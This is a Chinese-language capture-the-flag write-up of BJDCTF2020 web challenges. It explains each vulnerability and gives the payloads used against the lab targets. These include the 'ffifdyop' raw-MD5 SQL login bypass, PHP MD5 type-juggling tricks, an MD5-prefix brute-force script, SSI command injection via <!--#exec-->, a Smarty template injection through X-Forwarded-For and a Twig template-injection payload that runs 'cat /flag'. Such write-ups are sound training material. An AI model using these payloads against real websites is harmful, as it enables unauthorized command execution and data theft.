BJDCTF2020web复现

二月份的比赛,前几天做ezphp的时候发现有其他web的题目,索性全都复现一下,有些是之前buu做过了

docker环境:https://github.com/BjdsecCA/BJDCTF2020_January

平台:https://buuoj.cn

ezphp

写在csdn上了,传送

easy_md5

打开靶机只有一个提交框

输啥都没有反应,抓了个包,返回头里看到hint

考点:mysql特性,MD5函数特殊字符串,php强弱类型

php中MD5函数的处理方式如下

由于会返回原始二进制格式,我们来看看ffifdyop字符串的结果

生成了'or'6以及一些不可见字符,那么再结合hint,他本来的语句是
select * from 'admin' where password='传入处理后的值'
当我们传入ffifdyop之后,就会变成
select * from 'admin' where password=''or'6xxxxxxx'

而在mysql中,判断条件时,以数字为开头的字符串会被当做是整型,均会返回1,也就是true

那么password的or判断就接收true并绕过了这个语句。

传入之后跳转到了levels91.php,源码给出了php代码

<?php
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');

一个简单的弱类型,可以利用科学计数法特性提交两个md5后以0e开头的字符串,或者直接变为数组两个NULL相等绕过。

传入之后又跳转到levell14.php,强类型碰撞

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

传入两个md5后值相等的字符串或一样用数组即可。

mark loves cat

csdn上写过:传送

easy_search

打开靶机一个登录框

请求index.php.swp得源码

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
    ***
    }
    ***
?>

可以看到成功登录的关键, $admin == substr(md5($_POST['password']),0,6),脚本爆破即可

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('6d0bc1')

跑出来结果是202066,登录看看,headers里返回了url

访问之后发现会回显username的内容

考点:ssi代码执行注入

ssi是服务器端包含的意思,就是在html中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

在这里, shtml文件可以执行 bash 命令,构造<!--#exec Cmd="ls"-->即可命令执行,最后在ls ../找到flag文件

直接cat读取即可

the mystery of ip

打开靶机flag.php会显示出ip,抓包观察到xff头可以控制

考点:smarty模板注入

构造{{2+2}}会直接得到4

猜测为模板注入,尝试读取配置文件构造{{config}}发现是smarty模板。

{{system('ls')}}或者{if system('ls')}{/if}

都可以执行命令,最后在根目录下找到flag

Cookie is so stable

打开靶机在flag.php有个提交框会把输入内容输出到网页上

构造{{2+2}}发现还会返回计算结果4

考点:Twig模板注入

发现在cookie处

user会把输入的内容存进去,urldecode(%7B%7B2%2B2%7D%7D)={{2+2}},首先了解一下使用的是什么模板,在csdn师傅的一篇文章找到流程图

输入{{7*7}}成功回显,但Jinja2是基于python的模板引擎,那么只能是Twig了,百度一下Twig的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

由于提交之后cookie会url编码处理,所以提交之后直接把cookie改回来即可

ZJCTF,不过如此

之前写在csdn上,传送

发表评论